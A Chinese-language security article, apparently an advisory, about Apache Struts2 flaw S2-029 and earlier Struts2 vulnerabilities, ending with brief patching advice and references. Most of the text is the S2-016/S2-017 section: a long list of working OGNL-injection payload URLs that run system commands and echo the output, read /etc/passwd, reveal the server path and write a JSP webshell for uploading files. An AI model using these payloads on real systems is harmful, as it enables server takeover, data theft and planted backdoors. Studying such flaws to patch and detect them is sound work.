Struts是Apache基金会Jakarta项目组的一个开源项目,Struts通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。目前,Struts框架广泛应用于政府、公安、交通、金融行业和运营商的网站建设,作为网站开发的底层模板使用,是应用最广泛的Web应用框架之一。Struts2早期远程溢出漏洞曾经风靡一时,使用网上公开的工具即可渗透开心网、人人网、银行、高校以及企业,给被入侵方造成巨大损失,可以说是安全维护和运营人员心中永远的疼,而如今最新高危远程执行漏洞S2-029即将袭来,您准备好了吗?
一、最新高危远程执行漏洞S2-029
目前Struts2的最新版本为Struts 2.5 beta,Struts最新漏洞为S2-029,官方已经发布公告,该漏洞危险级别为高危。如下所示:
Summary 概要
当在tag属性中使用用户的原始输入时会导致双OGNL表达式执行。
struts2 漏洞
解决方法
在使用的标签属性中对每一个传入的参数值进行适当的验证或者升级到2.3.25的Struts。
本次漏洞是跟OGNL有关,OGNL是Object-Graph Navigation Language的缩写,全称为对象图导航语言,是一种功能强大的表达式语言,它通过简单一致的语法,可以任意存取对象的属性或者调用对象的方法,能够遍历整个对象的结构图,实现对象属性类型的转换等功能。
二、历史漏洞信息简要回顾
Struts官方安全公告给出了历史所有漏洞信息,如图1所示,Struts 最新远程执行漏洞为S2-029。Struts2曾经使国内很多大型网站沦陷,Struts2漏洞的修复比较困难,Apache Struts2是一个应用框架,它的漏洞并不像Windows一样,及时发个补丁推送给用户,更新了就没事了,而是需要站长和网站维护人员自己去更新这个补丁。下面简单回顾一下Struts2历史高危漏洞:
图1 Struts2历史漏洞列表
Struts历史重要漏洞回顾:
1. Struts S-016和Struts S-017
Struts S-016漏洞原因是action的值redirect和redirectAction没有正确过滤,导致可以执行任意代码,如系统命令、上传、下载文件等。利用POC:
POC1:
- http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(5000)')(d))
POC2:
- http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000))%2b'
POC3:
- http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@java.lang.Thread@sleep(5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true
POC4:
- http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java.lang.Thread@sleep(5000))(aa)&x[(class.classLoader.jarPath)('aa')]
POC5(执行了两次所以是10秒):
- http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}
(4)执行CMD命令的POC,关于回显:webStr\75new\40byte[100] 修改为合适的长度。
POC1:
- http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\43webRootzpro\75@java.lang.Runtime@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[100]')(d))&(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)(('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=cmd%20/c%20ipconfig
POC2:
- http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[100],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))%2b'&cmd=cmd%20/c%20ipconfig
POC3:
- http://127.0.0.1/freecms/login_login.do?user.loginname=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))&z[(user.loginname)('meh')]=true&cmd=cmd%20/c%20set
POC4:
- http://127.0.0.1/Struts2/test.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23a=%40java.lang.Runtime%40getRuntime().exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5b50000%5d,%23c.read(%23d),%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]&cmd=cmd%20/c%20netstat%20-an
POC5:
- http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result),%23response.close()}&cmd=cmd%20/c%20set
2. Struts S-017漏洞
(1)带回显命令执行:
- http://www.example.com/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
(2)爆路径:
- http://www.antian365.com/struts2-blank/example/X.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
写文件:
- http://www.antian365.com/struts2-blank/example/X.action?redirect:${
- %23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
- %23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),
- new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
- }&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
3.S2-018漏洞
Apache Struts 2的操作映射机制支持特殊参数前缀操作,这样有可能会在表格底部附加引导信息,在映射 "action:" 前缀操作时存在安全绕过漏洞,可被利用绕过某些安全限制,访问受限制功能。
4.S2-019漏洞
Apache Struts 2的“Dynamic Method Invocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,这样就存在远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码。
5.S2-020漏洞
Apache Struts 2.0.0-2.3.16版本的默认上传机制是基于Commons FileUpload 1.3版本,其附加的ParametersInterceptor允许访问'class' 参数(该参数直接映射到getClass()方法),并允许控制ClassLoader。在具体的Web容器部署环境下(如:Tomcat),攻击者利用 Web容器下的Java Class对象及其属性参数(如:日志存储参数),可向服务器发起远程代码执行攻击,进而植入网站后门控制网站服务器主机。
三、建议防范方法
1.定期定日备份数据以及源代码,在被攻击第一时间恢复和还原。
2.测试能否对Struts2程序升级,官方声称可以升级到最新版本,如果可以则升级到最新。
3.近期重点关注日志文件,对一些异常访问或者流量突然增大进行分析。
四、参考文章
1.http://struts.apache.org/docs/s2-016.html
2.http://struts.apache.org/docs/s2-017.html
3.Debug Struts2 S2-021的一点心得体会:
http://drops.wooyun.org/papers/1778
4.S2-020:
http://struts.apache.org/release/2.3.x/docs/s2-020.html
5.S2-019的远程代码执行漏洞:
http://sebug.net/vuldb/ssvid-61048
6.S2-016官方补丁分析:
http://www.freebuf.com/articles/web/11234.html
7.struts2 最新S2-016-S2-017漏洞通杀struts2所有版本:
http://zone.wooyun.org/content/5159
8.S2-013的漏洞分析:
http://www.freebuf.com/vuls/9757.html
9.Struts2最近几个漏洞分析&稳定利用Payload:
http://www.freebuf.com/articles/web/25337.html
10.另外关于S2-020:
http://sec.baidu.com/index.php?research/detail/id/18